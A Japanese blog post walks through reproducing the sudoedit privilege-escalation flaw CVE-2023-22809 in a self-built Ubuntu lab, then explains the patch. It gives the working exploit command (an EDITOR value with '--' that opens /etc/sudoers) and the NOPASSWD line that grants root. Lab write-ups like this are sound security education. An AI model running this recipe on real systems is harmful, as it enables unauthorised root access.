sudoの脆弱性(CVE-2023-22809)を使って実際に特権昇格してみる
sudoの特権昇格の脆弱性を実際に行ってみます。
割と簡単に再現できるので、おすすめです。
特権昇格の仕方
権限のあるユーザで以下のコマンドを実行するだけで可能です。
$ EDITOR='vim -- <操作したいファイル>' sudoedit <sudoedit権限のあるファイル>
CVE-2023-22809とは
sudoで見つかった特権昇格を可能にする脆弱性です。
厳密には編集権限のないファイルを編集できるようになる脆弱性ですが、例えばこの脆弱性を使って/etc/sudoersを編集すれば任意のアカウントにsudo権限を付けられます。
詳しい流れは以下のサイトを見るとわかりやすいです。
悪用するには対象のサーバにログインしないといけないので、実際に攻撃に使われる可能性は低いと思います。
上述の通り再現が簡単なので、「特権昇格ってこんなに簡単にできるんだ」ということを示すにはちょうど良いと思いました。
環境の準備
AWSでEC2を立てます。OSはUbuntu20.04です。
デフォルトだとsudoの最新のバージョン(今回は1.8.31-1ubuntu1.4
)が入っています。
$ dpkg -l | grep sudo
ii sudo 1.8.31-1ubuntu1.4 amd64 Provide limited super user privileges to specific users
まずはsudoを脆弱性のあるバージョンにダウングレードします。
1.8.31-1ubuntu1.4
はまさに今回の脆弱性が修正されたパッケージなので、これより古いパッケージであればどれでもよさそうです。
※修正が入ったバージョンについては以下リンクを参照。Ubuntu20.04のコードネームはfocalです。
まずはapt list sudo -a
でインストール可能なパッケージを確認
1.8.31-1ubuntu1
が使えそうだったのでこれをインストールします。
バージョンを指定してインストールするにはapt install sudo=1.8.31-1ubuntu1
と入力します。
$ sudo apt list sudo -a
Listing... Done
sudo/focal-updates,focal-security,now 1.8.31-1ubuntu1.4 amd64 [installed,automatic]
sudo/focal 1.8.31-1ubuntu1 amd64
sudo apt install sudo=1.8.31-1ubuntu1.4
$ sudo apt install sudo=1.8.31-1ubuntu1
~中略~
dpkg: warning: downgrading sudo from 1.8.31-1ubuntu1.4 to 1.8.31-1ubuntu1
(Reading database ... 61862 files and directories currently installed.)
Preparing to unpack .../sudo_1.8.31-1ubuntu1_amd64.deb ...
Unpacking sudo (1.8.31-1ubuntu1) over (1.8.31-1ubuntu1.4) ...
Setting up sudo (1.8.31-1ubuntu1) ...
Processing triggers for man-db (2.9.1-1) ...
インストール後、もう一度バージョンを確認して想定通りであることを確認しましょう。
$ dpkg -l | grep sudo
ii sudo 1.8.31-1ubuntu1 amd64 Provide limited super user privileges to specific users
ユーザの作成とsudoersの編集
脆弱性を悪用するにはsudoeditが許可されたユーザが必要です。
なのでまずはユーザを作成します。ユーザ名はsudoedit-test
にします。
$ sudo useradd -mU sudoedit-test
作成できました。
では試しにrootでしか編集できないファイルを作成してsudoedit-testユーザでは編集できないことを確認しましょう。
$ sudo touch /etc/sudoedit.txt
$ ls -l /etc/sudoedit.txt
-rw-r--r-- 1 root root 0 Feb 18 17:55 /etc/sudoedit.txt
sudoedit-testユーザにスイッチして、先ほどのファイルをviで編集してみましょう。
$ sudo su - sudoedit-test
$ vi /etc/sudoedit.txt
readonlyで書き込めないと思います。
では今度はsudoeditを編集して、ユーザにsudoedit権限を与えてみましょう。
visudoコマンドを使って最終行に設定を追加します。
$ sudo EDITOR=vim visudo
sudoedit-test ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/sudoedit.txt ←この行を追加
これでファイルに書き込み権限が与えられました。
sudoedit-testユーザにスイッチしてファイルを編集してみてください。
ファイルの編集にはviではなくsudoeditコマンドを使います。
$ sudo su - sudoedit-test
$ EDITOR='vim' sudoedit /etc/sudoedit.txt
今度は編集できたと思います。
ここまでで準備は完了です。
実際にやってみた
今回はこの脆弱性を使って/etc/sudoersファイルを編集し、sudoedit-testユーザにsudo権限を付けます。
EDITOR='vim -- /etc/sudoers' sudoedit /etc/sudoedit.txt
上のコマンドを実行すると、なぜか/etc/sudoedit.txt
ではなく/etc/sudoers
が開かれます。
その状態でファイルに以下の行を追加しましょう
sudoedit-test ALL=NOPASSWD: ALL
これでsudoedit-testユーザにsudo権限がNOPASSWDでつけられました。
後はsudoコマンドで何でもできます。試しにrootにスイッチしてみましょう。
sudo su -
sudoedit-testユーザからrootに昇格できます。
脆弱性の原因
sudoの環境変数の処理の仕方に問題があったようです。
パッケージ間の差分はlaunchpadのサイトから確認できます。
具体的には以下の箇所が追加になっています。
if文で環境変数に"--"が入っていないか確認するようになっています。
++ /*
++ * We use "--" to separate the editor and arguments from the files
++ * to edit. The editor arguments themselves may not contain "--".
++ */
++ if (strcmp(nargv[nargc], "--") == 0) {
++ sudo_warnx(U_("ignoring editor: %.*s"), (int)edlen, ed);
++ sudo_warnx("%s", U_("editor arguments may not contain \"--\""));
++ errno = EINVAL;
++ free(editor_path);
++ while (nargc--)
++ free(nargv[nargc]);
実際に最新バージョンのsudoで脆弱性を突こうとするとエラーが出るようになっています。
$ EDITOR='vim -- /etc/sudoers' sudoedit /etc/sudoedit.txt
sudoedit: ignoring editor: vim -- /etc/sudoers
sudoedit: editor arguments may not contain "--"
まとめ
脆弱性は内容によっては簡単に悪用できます。
また、その原因も単純なミスだったりします。
最近だとopensslの脆弱性であるCVE-2022-3602が大きな騒ぎになりましたが、その原因は一部の処理で比較演算子を>=
にするべきところを>
にしてしまっていたことが原因です。
だから何だというわけではないですが、面白いと思ってもらえたら嬉しいです。
Discussion